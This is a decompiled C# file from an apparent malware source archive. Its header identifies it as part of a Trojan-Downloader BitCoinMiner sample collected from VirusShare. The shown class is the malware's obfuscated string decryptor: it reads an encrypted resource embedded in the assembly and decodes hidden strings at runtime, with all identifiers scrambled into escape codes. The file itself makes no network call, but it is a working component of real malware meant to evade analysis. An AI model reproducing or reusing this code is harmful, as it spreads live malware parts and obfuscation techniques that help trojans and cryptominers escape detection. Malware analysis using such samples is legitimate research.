MalwareSourceCode/MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E/_0008.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe

using \u000E;
using \u0012;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u000E
{
  internal sealed class \u0008
  {
    private static string \u0001 = "1";
    private static string \u0002 = "68";
    private static byte[] \u0003 = (byte[]) null;
    private static Hashtable \u0004 = (Hashtable) null;
    private static bool \u0005 = false;
    private static int \u0006 = 0;

    public static string \u000E\u0003([In] int obj0)
    {
      obj0 -= \u0008.\u0006;
      if (\u0008.\u0005)
      {
        string str = (string) \u001E\u0003.\u007E\u000F\u0004((object) \u0008.\u0004, (object) obj0);
        if (str != null)
          return str;
      }
      int num1 = obj0;
      byte[] numArray1 = \u0008.\u0003;
      int index1 = num1;
      int num2 = index1 + 1;
      int num3 = (int) numArray1[index1];
      int num4;
      if ((num3 & 128) == 0)
      {
        num4 = num3;
        if (num4 == 0)
          return string.Empty;
      }
      else if ((num3 & 64) == 0)
      {
        num4 = ((num3 & 63) << 8) + (int) \u0008.\u0003[num2++];
      }
      else
      {
        int num5 = (num3 & 31) << 24;
        byte[] numArray2 = \u0008.\u0003;
        int index2 = num2;
        int num6 = index2 + 1;
        int num7 = (int) numArray2[index2] << 16;
        int num8 = num5 + num7;
        byte[] numArray3 = \u0008.\u0003;
        int index3 = num6;
        int num9 = index3 + 1;
        int num10 = (int) numArray3[index3] << 8;
        int num11 = num8 + num10;
        byte[] numArray4 = \u0008.\u0003;
        int index4 = num9;
        num2 = index4 + 1;
        int num12 = (int) numArray4[index4];
        num4 = num11 + num12;
      }
      try
      {
        byte[] numArray5 = \u000E\u0003.\u0019\u0003(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), \u0008.\u0003, num2, num4));
        string str = \u0084\u0004.\u0080\u0002(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), numArray5, 0, numArray5.Length));
        if (\u0008.\u0005)
        {
          try
          {
            \u0080\u0004.\u007E\u0008\u0004((object) \u0008.\u0004, (object) obj0, (object) str);
          }
          catch
          {
          }
        }
        return str;
      }
      catch
      {
        return (string) null;
      }
    }

    static \u0008()
    {
      if (\u0080\u0005.\u0001\u0002(\u0008.\u0001, "1"))
      {
        \u0008.\u0005 = true;
        \u0008.\u0004 = new Hashtable();
      }
      \u0008.\u0006 = \u008D\u0003.\u0017\u0003(\u0008.\u0002);
      Assembly assembly = \u0015\u0003.\u001B\u0004();
      Stream stream = \u000E\u0005.\u007E\u0015\u0004((object) assembly, "{658bfc85-36e1-493d-98e6-ae9127d73d60}");
      try
      {
        int length = \u0087\u0003.\u0016\u0003(\u007F\u0004.\u007E\u0003\u0005((object) stream));
        byte[] numArray = new byte[(int) checked ((uint) length)];
        int num = \u0089\u0005.\u007E\u000F\u0005((object) stream, numArray, 0, length);
        \u0008.\u0003 = \u0011.\u000F\u0003(numArray);
        \u0093\u0003.\u007E\u0006\u0005((object) stream);
      }
      finally
      {
        if (stream != null)
          \u0093\u0003.\u007E\u009E((object) stream);
      }
    }
  }
}